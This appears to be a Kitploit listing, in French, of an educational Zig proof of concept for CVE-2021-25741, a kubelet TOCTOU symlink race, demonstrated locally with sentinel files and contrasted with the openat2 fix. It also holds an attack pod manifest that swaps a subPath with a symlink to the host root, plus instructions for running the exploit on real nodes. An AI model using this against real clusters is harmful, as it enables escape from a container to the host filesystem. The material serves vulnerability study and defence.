Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
Outils/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-25741 — TOCTOU Symlink Race Exploit in Zig

Exploit éducatif de la race condition TOCTOU (Time Of Check, Time Of Use) qui est à l'origine de CVE-2021-25741, une vulnérabilité dans le kubelet Kubernetes.

Le projet démontre en local (sans cluster K8s) comment un swap concurrent de symlink peut contourner une vérification de chemin entre lstat() et open(), et prouve que openat2() avec les flags RESOLVE_* est la solution.

Table des matières

  • Le problème
  • Comment fonctionne l'exploit
  • Architecture du code
  • Prérequis
  • Build
  • Utilisation
    • Test en local avec Docker
    • Comparaison openat vs openat2
    • Jouer avec le délai TOCTOU
    • Test sur un vrai node Kubernetes
  • Résultats attendus
  • Explication du code
  • Syscalls Linux utilisés
  • Debug avec strace
  • Références

Le problème

Résolution de chemins sous Linux

Quand le kernel résout un chemin comme /a/b/c/file, il le fait composant par composant. À chaque étape, si le composant est un symlink, le kernel le suit automatiquement. Cette résolution n'est pas atomique — le filesystem peut changer entre deux étapes.

TOCTOU dans le kubelet

Le kubelet Kubernetes faisait exactement ce pattern vulnérable :

root@kitploit:~
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
     ↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE   : mount(subPath) → suit le symlink, monte le filesystem host

Entre la vérification et le mount, un process malveillant dans le container pouvait remplacer le subPath par un symlink vers / du host, obtenant ainsi un accès complet au filesystem host.

Le fix : openat2(2)

Le syscall openat2 (kernel 5.6+) résout le chemin et ouvre le fichier de manière atomique, avec des contraintes :

Avec openat2, il n'y a pas de fenêtre TOCTOU : si un symlink apparaît pendant la résolution, le syscall échoue immédiatement.


Comment fonctionne l'exploit

Deux threads coopèrent pour exploiter la fenêtre TOCTOU :

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contient "LEGIT"
├── symlink_target/
│   └── secret.txt  → contient "PWNED"
└── target/          → swappé entre vrai dir et symlink

Thread Racer

Tourne en boucle ultra-rapide et swap atomiquement target/ entre deux états via renameat2(RENAME_EXCHANGE) :

  • État A : target/ est un vrai répertoire (contient secret.txt = "LEGIT")
  • État B : target/ est un symlink vers symlink_target/ (contient secret.txt = "PWNED")

Un seul syscall par swap = fenêtre de race maximale.

Thread Victim (simule le kubelet)

Reproduit le pattern vulnérable du kubelet :

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — vérifie que c'est un répertoire
  2. Pause optionnelle (simule la latence du kubelet entre check et use)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — ouvre le fichier
  4. read() — lit le contenu
  5. Si contenu == "PWNED" → race win (le symlink a été suivi)
  6. Si contenu == "LEGIT" → race loss (c'était bien le vrai répertoire)

En mode protégé (--use-openat2), l'étape 3 utilise openat2 avec RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Si un symlink est présent, le kernel retourne ELOOP au lieu de le suivre.


Architecture du code

root@kitploit:~
src/
├── main.zig       # Point d'entrée : parse CLI, crée le shared state, spawn les
│                  # threads, mesure le temps, affiche les résultats
│
├── racer.zig      # Thread racer : prépare l'état initial (target → symlink),
│                  # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│                  # target/ et legit_dir/ en continu
│
├── victim.zig     # Thread victim : boucle N itérations de fstatat → delay →
│                  # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig      # Crée l'arborescence de test : workdir/, legit_dir/,
│                  # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig   # Constantes et wrappers pour les syscalls raw :
│                  # - open_how struct (kernel UAPI, 3×u64)
│                  # - RESOLVE_* flags
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig      # Compteurs atomiques lock-free (std.atomic.Value(u64))
                   # pour wins, losses, errors, eloop + affichage formaté

Tous les syscalls sont appelés via std.os.linux.* directement (pas de wrappers std.fs ou std.posix). Le seul syscall sans wrapper dans la stdlib Zig 0.15 est openat2, qu'on appelle via linux.syscall4(.openat2, ...) avec une struct open_how définie manuellement depuis les headers UAPI du kernel.


Prérequis

OutilVersionPourquoi
Zig0.15.xCompilateur + cross-compilation

Le binaire est compilé en statique (musl libc) et tourne sur n'importe quel Linux sans dépendances.

Kernel minimum :

  • 3.15+ pour renameat2(RENAME_EXCHANGE)
  • 5.6+ pour openat2 avec RESOLVE_* (nécessaire uniquement pour --use-openat2)

Docker Desktop et colima sur Mac utilisent un kernel 6.x — tout est supporté.


Build

Cross-compilation Mac → Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (pour des nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

Le binaire est dans zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Utilisation

Test en local avec Docker

root@kitploit:~
# Démarrer le runtime Docker (si macOS)
colima start

# Lancer l'exploit (mode vulnérable par défaut)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Comparaison openat vs openat2

root@kitploit:~
# Mode vulnérable (openat) — la race fonctionne
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Mode protégé (openat2) — la race est bloquée
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

Ou avec le script qui lance les deux :

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

Jouer avec le délai TOCTOU

Le paramètre --delay-us ajoute un délai entre le lstat (check) et le openat (use). Plus le délai est long, plus la fenêtre TOCTOU est large, et plus le win rate augmente :

root@kitploit:~
# Sans délai — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (plafonné, le racer swap bien plus vite)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

Dans un vrai kubelet, la latence entre la vérification du subPath et le bind mount est de l'ordre de plusieurs millisecondes (appels API, préparation du mount namespace, etc.), ce qui rend la race très fiable en conditions réelles.

Options CLI complètes

root@kitploit:~
race-exploit [options]
  --iterations N     Nombre de tentatives (défaut: 10000)
  --delay-us N       Microsecondes entre lstat et open (défaut: 0)
  --use-openat2      Utiliser openat2 avec RESOLVE_* (mode protégé)
  --workdir PATH     Répertoire de travail (défaut: /tmp/race-workdir)
  --help             Afficher l'aide

Test sur un vrai node Kubernetes

L'exploit n'a pas besoin de Kubernetes pour fonctionner — c'est une race condition Linux fondamentale. Mais tu peux le lancer sur un vrai node pour tester dans les mêmes conditions que le kubelet.

Option 1 : exécuter directement sur un node

root@kitploit:~
# Cross-compiler pour l'architecture du node
# ARM64 (EKS avec Graviton, GKE avec T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copier le binaire sur le node
scp zig-out/bin/race-exploit user@node:/tmp/

# Lancer sur le node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Vérifier la version du kernel (>= 5.6 pour openat2)
ssh user@node uname -r

Option 2 : lancer depuis un pod Kubernetes

Créer un pod qui embarque le binaire et l'exécute :

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # le binaire doit être copié ici au préalable
  restartPolicy: Never
root@kitploit:~
# Copier le binaire sur le node d'abord
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Lancer le pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Option 3 : reproduire la vraie CVE avec subPath

Pour reproduire le scénario exact de CVE-2021-25741, il faut exploiter la race pendant que le kubelet prépare un bind mount d'un volume avec subPath :

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Ce script tourne dans le container et swap le subPath
      # pendant que le kubelet prépare le mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← le kubelet vérifie puis monte ce chemin
  volumes:
  - name: shared-vol
    emptyDir: {}

Important : cette attaque ne fonctionne que sur des kubelets non patchés (versions < 1.22.2, < 1.21.5, < 1.20.11). Les kubelets récents utilisent openat2 avec RESOLVE_NO_SYMLINKS pour résoudre le subPath.

Pour vérifier si ton kubelet est vulnérable :

root@kitploit:~
# Version du kubelet
kubectl get nodes -o wide

# Vérifier si openat2 est utilisé dans le kubelet (sur le node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Résultats attendus

openat (vulnérable)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (protégé)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Observations clés :

  • Le "total attempts" est inférieur aux itérations demandées car beaucoup de tours de boucle sont skippés (le lstat voit un symlink et ne tente pas l'open)
  • En mode openat, ~25% des tentatives aboutissent à un win (le fichier "PWNED" est lu)
  • En mode openat2, 0% de wins — chaque tentative où le racer a swappé est détectée par le kernel qui retourne ELOOP
  • Les ELOOP correspondent exactement aux wins en mode openat : c'est le même pourcentage, mais bloqué

Explication du code

syscalls.zig — les briques de base

Le fichier définit les constantes manquantes dans la stdlib Zig 0.15 :

root@kitploit:~
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permissions (si O_CREAT)
    resolve: u64 = 0, // RESOLVE_* flags
};

// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // interdit de remonter au-dessus du dirfd

openat2 est appelé via linux.syscall4(.openat2, ...) car Zig 0.15 a le numéro de syscall mais pas de wrapper.

racer.zig — le thread attaquant

Au démarrage, il transforme target/ en symlink vers symlink_target/, puis boucle sur deux renameat2(RENAME_EXCHANGE) qui swappent target et legit_dir :

root@kitploit:~
Itération 1: target=dir,     legit_dir=symlink  ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir      ← victim suit le symlink → PWNED

victim.zig — le thread kubelet

Reproduit lstat → delay → openat/openat2 → read → compare. Les résultats sont comptés dans des compteurs atomiques lock-free (fetchAdd avec ordering .monotonic).

setup.zig — la structure de test

Crée l'arborescence avec mkdirat, openat(O_CREAT), et write — tous via raw syscalls. Deux fichiers sentinel : "LEGIT" dans le vrai répertoire, "PWNED" dans la cible du symlink.


Syscalls Linux utilisés


Debug avec strace

root@kitploit:~
# Tracer tous les syscalls des deux threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filtrer les syscalls intéressants
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Voir les ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Note : strace n'est pas installé par défaut dans Alpine. Utiliser alpine:edge ou installer avec apk add strace :

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

Références

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — le fix
  • man 2 renameat2 — swap atomique
  • man 2 fstatat — lstat sans suivre les symlinks
  • Symlinks and path resolution — Star Lab

ZigRaceExploit

Télécharger l’outil
FlagEffet
RESOLVE_NO_SYMLINKSRefuse de suivre tout symlink → retourne ELOOP
RESOLVE_BENEATHRefuse de sortir du répertoire de base → retourne EXDEV
RESOLVE_IN_ROOTTraite le dirfd comme la racine du filesystem
RESOLVE_NO_XDEVRefuse de traverser des points de montage
DockerquelconquePour exécuter le binaire Linux sur Mac
colimaquelconqueRuntime Docker sur macOS (ou Docker Desktop)
SyscallRôle dans l'exploitWrapper Zig
renameat2(RENAME_EXCHANGE)Swap atomique target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat : vérifie si target est un dir ou symlinklinux.fstatat()
openat(O_RDONLY)Ouvre le fichier en suivant les symlinks (vulnérable)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)Ouvre le fichier en refusant les symlinks (fix)linux.syscall4(.openat2, ...)
symlinkatCrée le symlink initial target → symlink_targetlinux.symlinkat()
unlinkatSupprime target avant de le recréer comme symlinklinux.unlinkat()
mkdiratCrée les répertoires de testlinux.mkdirat()
read / write / closeIO sur les fichiers sentinellinux.read() / linux.write() / linux.close()